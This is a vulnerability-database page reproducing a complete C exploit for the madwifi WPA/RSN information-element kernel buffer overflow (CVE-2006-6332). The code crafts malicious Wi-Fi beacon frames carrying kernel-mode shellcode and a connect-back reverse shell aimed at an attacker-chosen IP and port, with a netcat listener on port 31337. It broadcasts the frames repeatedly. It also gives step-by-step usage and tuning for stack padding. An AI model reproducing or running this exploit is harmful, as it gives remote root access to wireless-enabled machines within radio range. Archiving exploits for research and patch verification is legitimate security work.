Lucene search
K

madwifi <= 0.9.2.1 WPA/RSN IE Remote Kernel Buffer Overflow Exploit

🗓️ 01 Mar 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 24 Views

madwifi WPA/RSN IE Remote Kernel Buffer Overflow Exploit, 10/1/2007, CVE: 2006-6332, Remote Kernel Buffer Overflow, nc -l -p 31337, gcc -g -o madwifi_exp madwifi, wlanconfig ath1 create, ifconfig ath1 up, tuning option, ioctl() SIOCGIWSCA

Code

                                                /* ----  madwifi WPA/RSN IE remote kernel buffer overflow  ------
 * expoit code by:   sgrakkyu <at> antifork.org -- 10/1/2007
 * 
 * CVE: 2006-6332 (Laurent BUTTI, Jerome RAZNIEWSKI, Julien TINNES)
 * 
 * (for wpa)
 * ....
 * memcpy(buf, se->se_wpa_ie, se->se_wpa_ie[1] + 2) 
 * ....
 * ....
 * the function re-uses args in the stack before returning so we 
 * can't trash them overwriting. 
 * Different compiled module [ex. different version of gcc] may require 
 * a different pad value.. (see -g option)
 *
 * ex:
 * on one terminal runs: nc -l -p 31337 
 * phi:~/kexec/lorcon# gcc -g -o madwifi_exp madwifi_exp.c -lorcon
 * phi:~/kexec/lorcon# wlanconfig ath1 create wlandev wifi0 wlanmode monitor
 * phi:~/kexec/lorcon# ifconfig ath1 up
 * phi:~/kexec/lorcon# ./madwifi_exp -i ath1 -d madwifing -a 10.0.0.1 -p 31337
 * [opt-ip]: 10.0.0.1
 * [opt-port]: 31337
 * [opt-iface]: ath1
 * [opt-driver]: madwifing
 * [opt-jump]: 0xffffe777
 * [pad]: 36
 *
 * [*][Low Avail Byte]: 103
 * [*][High Avail Byte]: 47
 * [*][u_code[] (high)size]: 91, [ring0_code[] (low)size]: 47
 * [*][ patching jump ]: [eba7]
 * [*][Payload space]: 192
 * [*][beacon_frame-80211]=54
 * [*][beacon_WPA_IE_lenght]: 198
 *
 * [printing frame - start]
 *   80 00 00 00 ff ff ff ff ff ff cc cc cc cc cc cc
 *   cc cc cc cc cc cc 00 00 00 00 00 00 00 00 00 00
 *   64 00 01 00 00 03 41 41 41 01 08 82 84 8b 96 0c
 *   18 30 48 03 01 0b dd c6 00 50 f2 01 01 00 90 90
 *   90 90 90 90 90 90 90 90 90 90 31 c0 89 c3 40 40
 *   ....
 *   ....
 *
 *
 * Tuning option:
 * - depending on gcc version/optimization we have to change the padding of vector
 *   payload, take a look to the following disassembly of the module wlan.o compiled
 *   with gcc-4.0 (kernel compiled for i586):
 *
 *  00015a49 <giwscan_cb>:
 *  15a49:       55                      push   %ebp
 *  15a4a:       57                      push   %edi
 *  15a4b:       56                      push   %esi
 *  15a4c:       53                      push   %ebx
 *  15a4d:       81 ec c4 00 00 00       sub    $0xbc,%esp <--16+188=[204]
 *  .........
 *  .........
 *  .........
 *  15fc3:       8d 54 24 12             lea    0xa(%esp),%edx <-esp+[10]
 *  15fc7:       89 d7                   mov    %edx,%edi
 *  ...
 *  ...
 *  15fd5:       f3 a5                   rep movsl %ds:(%esi),%es:(%edi)
 *     
 * 
 * this is not a rule, check gcc generated code to calculate correct pad value :
 * [startbuf-ret] = (16 + 188 - 10) = 194 byte
 * PAD = 194 - SHELLCODE_SPACE - IEWPAheader(code,len,oui) = 194 - 150 - 8 = 36
 * ( -g 36 would be the choice in that case)
 *   
 *   NOTE: 1) the remote box must call the ioctl() SIOCGIWSCAN
 *            for ex. when the iface gets up or during iwlist iface scanning
 *            command
 *
 *         2) if you need more space for kernel mode code you can rely on
 *             struct ieee80211_scan_entry paramter of gwiscan_cb()
 *             function to access the real frame (a trivial joke)
 *
 *         3) i had no time to test this exploit on other boxes..:
 *            tested only on:  Slackware 10 -  madwifi 0.9.2
 *                             Kubuntu - kernel 2.6.17 - madwifi 0.9.2
 *
 *
 *  TNX TNX TNX  twiz <at> antifork.org
 */


#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <getopt.h>
#include <netinet/in.h>
#include <sys/socket.h>

#include <tx80211.h>
#include <tx80211_packet.h>
#include <linux/wireless.h>
#include <arpa/inet.h>


/* 2.6.17 VSYSCALL: for >= 2.6.18 without fixed-vsyscall entry use kernel hardcoded value */
#define VSYSCALL_JMP_ESP_OFFSET   0xffffe777
#define IE_ZERO 0x00000000

#define FIX_BYTE(base,offset,byte)   *(((unsigned char*)base) + offset) = byte;
#define FIX_WORD(base,offset,word)   *((unsigned short *)((unsigned char*)base + offset)) = word;
#define FIX_DWORD(base,offset,dword) *((unsigned int *)((unsigned char*)base + offset)) = dword;

/* shellcode max buffer */
/* 8 bytes used for lenght + oui */
#define SHELLCODE_SPACE  150  
#define PAD_SPACE        36

#define PAYLOAD_SPACE    (SHELLCODE_SPACE + pad_space + 4 + 2)
#define TOTAL_PACKET_LEN (sizeof(beacon_80211_wpa) -1 + PAYLOAD_SPACE)

/* exp option */
char *iface = NULL;  /* needed */
char *driver = NULL; /* needed */
char *ip = NULL;     /* needed */
short port = 0;      /* needed */
unsigned int jmp_address = VSYSCALL_JMP_ESP_OFFSET;
unsigned int pad_space = PAD_SPACE;



/* ----------------------------------- */

#define SUB_OFFSET_PATCH 8
char ring0_code[]=
 "\xe8\x00\x00\x00\x00"      //call   8048359 <main+0x21>
 "\x5e"                      //pop    %esi
 "\x81\xee\x88\x00\x00\x00"  //sub    $0x88,%esi  /* PATCH */
 "\x31\xc0"                  //xor    %eax,%eax
 "\xb0\x04"                  //mov    $0x4,%al
 "\x01\xc4"                  //add    %eax,%esp
 "\x83\x3c\x24\x73"          //cmp    $0x73,%esp
 "\x75\xf8"                  //jne    8048364 <main+0x2c>
 "\x83\x7c\x24\x0c\x7b"      //cmpl   $0x7b,0xc(%esp)
 "\x75\xf1"                  //jne    8048364 <main+0x2c>
 "\x29\xc4"                  //sub    %eax,%esp
 "\x8b\x7c\x24\x0c"          //mov    0xc(%esp),%edi
 "\x89\x3c\x24"              //mov    %edi,(%esp)
 "\x31\xc9"                  //xor    %ecx,%ecx
 "\xb1\x5b"                  //mov    $0x5b,%cl /* FIX */
 "\xf3\xa4"                  //rep movsb %ds:(%esi),%es:(%edi)
 "\xcf";                     //iret


/* connect back */
#define IP_OFFSET   35
#define PORT_OFFSET 44
char u_code[] = 
"\x31\xc0\x89\xc3\x40\x40\xcd\x80\x39\xc3\x74\x03\x31\xc0\x40\xcd\x80" /* fork */
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x5b\x5d"              
"\xbe"
"\xf5\xff\xff\xfe"  // ~ip
"\xf7\xd6\x56\x66\xbd"
"\x69\x7a"          // port
"\x0f\xcd\x09\xdd\x55\x43\x6a\x10\x51\x50\xb0\x66\x89\xe1\xcd\x80\x87\xd9"   
"\x5b\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68"  
"\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xdf";         


/* 802.11header + WPA IE prolog */
#define WPA_LEN_OFFSET 55
#define CHANNEL     11
char beacon_80211_wpa[] = 
"\x80"              // management frame / subtype beacon
"\x00"              // flags
"\x00\x00"          // duration
"\xFF\xFF\xFF\xFF\xFF\xFF"  // destination addr
"\xCC\xCC\xCC\xCC\xCC\xCC"  // src address
"\xCC\xCC\xCC\xCC\xCC\xCC"  // bbsid
"\x00\x00"          // seq
"\x00\x00\x00\x00\x00\x00\x00\x00" // timestamp
"\x64\x00"          // interval
"\x01\x00"          // caps
"\x00\x03\x41\x41\x41"  // ssid Information Element
"\x01\x08\x82\x84\x8b\x96\x0c\x18\x30\x48" // rates Information Element
"\x03\x01\x0B"     // channel Information Element (11)
"\xdd\xc6"         // WPA Information Element (priv ID + len) (0xc6 = 0xc0 + 6) /* PATCH */
"\x00\x50\xf2\x01\x01\x00";     // oui + type + version (first 6 byte of len)

#define JUMP_OFFSET_PATCH 1
char jmp_back[]="\xeb\x00";

/* ----------------------------------- */


void usage(char *prog)
{
  printf("[usage]: %s (-i iface) (-d drivername) (-a ip) (-p port) [-g pad] [-j jump_address]\n", prog);
}

unsigned char *build_frame()
{
  int i,j;
  char *frame = malloc(TOTAL_PACKET_LEN);
  char *ptr = frame;
  
  unsigned int hsb = sizeof(ring0_code)-1;
  unsigned int lsb =  SHELLCODE_SPACE - hsb;
  printf("[*][low-kcode]: %d\n[*][high-ucode]: %d\n", 
         lsb, hsb);
  
  printf("[*][u_code[] (high)size]: %d, [ring0_code[] (low)size]: %d\n", 
         sizeof(u_code)-1, sizeof(ring0_code)-1);

  /* fix jump */
  int b = -4 - pad_space - (sizeof(jmp_back)-1) - (sizeof(ring0_code)-1);
  FIX_BYTE(jmp_back, JUMP_OFFSET_PATCH, b);

  /* fix ring0_code/u_code displacement */
  unsigned int sub = 5 + (sizeof(u_code)-1);
  FIX_BYTE(ring0_code, SUB_OFFSET_PATCH, sub);

  printf("[*][payload space]: %d\n", PAYLOAD_SPACE);

  /* fix beacon_80211_wpa: WPA len */
  FIX_BYTE(beacon_80211_wpa, WPA_LEN_OFFSET, PAYLOAD_SPACE + 6);
  printf("[*][beacon_WPA_IE_lenght]: %u\n", 
                  (unsigned char)beacon_80211_wpa[WPA_LEN_OFFSET]);

  /* fill frame */
  memset(frame, 0x00, TOTAL_PACKET_LEN);

  memcpy(ptr, beacon_80211_wpa, sizeof(beacon_80211_wpa)-1);
  ptr += (sizeof(beacon_80211_wpa)-1);

  memset(ptr, 0x90, lsb - (sizeof(u_code)-1));
  ptr += (lsb - (sizeof(u_code)-1));
  
  memcpy(ptr, u_code, sizeof(u_code) -1);
  ptr += (sizeof(u_code) -1);

  memcpy(ptr, ring0_code, sizeof(ring0_code)-1);
  ptr += sizeof(ring0_code)-1;
  
  for(i=0; i<pad_space; i+=4) 
    *((unsigned int *)(ptr + i)) = (IE_ZERO+(i/4));

  ptr += pad_space;

  *((unsigned int *)(ptr)) = jmp_address;
  ptr += 4;

  memcpy(ptr, jmp_back, sizeof(jmp_back)-1);
  ptr += sizeof(jmp_back)-1;

  return (unsigned char*)frame; 
}

void print_frame(unsigned char *frame, unsigned int size)
{
  int i;
  printf("\n[printing frame - start]\n  ");
  for(i=1; i<=size; i++)
  {
    printf("%02x ", frame[i-1]);
    if((i % 16) == 0)
      printf("\n  ");
  }
  printf("\n[printing frame - end]\n");
}

void parse_arg(int argc, char **argv)
{
  int opt;
  struct in_addr in;
  while( (opt=getopt(argc, argv, "j:i:a:p:d:g:")) != EOF)
  {
    switch(opt)
    {
      case 'j':
        jmp_address = strtoll(optarg, NULL, 16);
        break;
      case 'a':
        ip = strdup(optarg);
        inet_aton(ip, &in); 
        FIX_DWORD(u_code, IP_OFFSET, ~(in.s_addr));    
        break;
      case 'p':
        port = atoi(optarg);
        FIX_WORD(u_code, PORT_OFFSET, port); 
        break;
      case 'd':
        driver = strdup(optarg);
        break;
      case 'i':
        iface = strdup(optarg);
        break;
      case 'g':
        pad_space = atoi(optarg);
        break;
      default:
        usage(argv[0]);
        exit(1);
    } 
  }
}


int main(int argc, char *argv[])
{
  int i=0;
  struct tx80211 in_tx;
  struct tx80211_packet in_packet;
  int drivertype;
  
  parse_arg(argc, argv);                

  if(!iface || !driver || !ip || !port)
  {
    usage(argv[0]);
    exit(1);
  }

  printf( "\n\nMadwifi 0.9.2 WPA/RSN IE buffer overflow\n\t exploit code: sgrakkyu <at> antifork.org\n"
          "-------------------- **** ------------------\n"
          "[opt-ip]: %s\n[opt-port]: %d\n[opt-iface]: %s\n[opt-driver]: %s\n[opt-jump]: 0x%08x\n[pad]: %d\n"
          "-------------------- **** ------------------\n\n",
          ip, port, iface, driver, jmp_address, pad_space);

  unsigned char *frame = build_frame();
  print_frame(frame, TOTAL_PACKET_LEN);

  /* Use the command-line argument as the desired driver type */
  drivertype = tx80211_resolvecard(driver);

  /* Validate the driver name specified */
  if (drivertype == INJ_NODRIVER) 
  {
    fprintf(stderr, "Driver name not recognized.\n");
    return -1;
  }

  if (tx80211_init(&in_tx, iface, drivertype) < 0) {
    fprintf(stderr, "Error initializing drive \"%s\".\n", argv[1]);
    return -1;
  }

  if ((tx80211_getcapabilities(&in_tx) & TX80211_CAP_CTRL) == 0) 
  {
    fprintf(stderr, "Driver does not support transmitting control frames.\n");
    return -1;
  }

  if (tx80211_setchannel(&in_tx, CHANNEL) < 0) 
  {
    fprintf(stderr, "Error setting channel.\n");
    return 1;
  }

  if (tx80211_open(&in_tx) < 0) 
  {
    fprintf(stderr, "Unable to open interface %s.\n", in_tx.ifname);
    return 1;
  }

  /* Initialized in_packet with packet contents and length of the packet */
  in_packet.packet = frame;
  in_packet.plen = TOTAL_PACKET_LEN;

  printf("[sending packets]: about 10 a second\n");

  while(i < 10000)
  {
    /* Transmit the packet */
    if (tx80211_txpacket(&in_tx, &in_packet) < 0) 
    {
      fprintf(stderr, "Unable to transmit packet.\n");
      perror("txpacket");
      return 1;
    }
    i++;
    usleep(100000);
  }
  /* Close the socket after transmitting the packet */
  tx80211_close(&in_tx);

  return 0;
}

// milw0rm.com [2007-03-01]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation